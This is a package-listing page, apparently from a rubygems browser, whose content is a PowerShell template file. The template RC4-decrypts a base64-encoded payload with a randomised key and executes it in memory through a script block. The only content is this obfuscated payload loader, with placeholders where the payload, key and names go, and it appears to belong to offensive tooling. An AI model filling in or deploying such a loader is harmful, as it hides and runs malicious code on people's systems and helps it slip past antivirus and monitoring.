Sha256: a49a91bd0dfb4fd4e5b96ab00aec6c84142b8a6a8b895ac67089a22c84e3048e
Contents?: true
Size: 1 KB
Versions: 11
Compression:
Stored size: 1 KB
Contents
function %{func_rc4_decrypt} { param([Byte[]]$%{var_rc4buffer}) $%{var_key} = ([system.Text.Encoding]::UTF8).GetBytes("%{random_key}") $s = New-Object Byte[] 256; $k = New-Object Byte[] 256; for ($i = 0; $i -lt 256; $i++) { $s[$i] = [Byte]$i; $k[$i] = $%{var_key}[$i %% $%{var_key}.Length]; } $j = 0; for ($i = 0; $i -lt 256; $i++) { $j = ($j + $s[$i] + $k[$i]) %% 256; $temp = $s[$i]; $s[$i] = $s[$j]; $s[$j] = $temp; } $i = $j = 0; for ($x = 0; $x -lt $%{var_rc4buffer}.Length; $x++) { $i = ($i + 1) %% 256; $j = ($j + $s[$i]) %% 256; $temp = $s[$i]; $s[$i] = $s[$j]; $s[$j] = $temp; [int]$t = ($s[$i] + $s[$j]) %% 256; $%{var_rc4buffer}[$x] = $%{var_rc4buffer}[$x] -bxor $s[$t]; } $%{var_rc4buffer} } &([scriptblock]::create(([system.Text.Encoding]::UTF8).GetString((%{func_rc4_decrypt} ([System.Convert]::FromBase64String("%{b64payload}"))))))
Version data entries
11 entries across 11 versions & 1 rubygems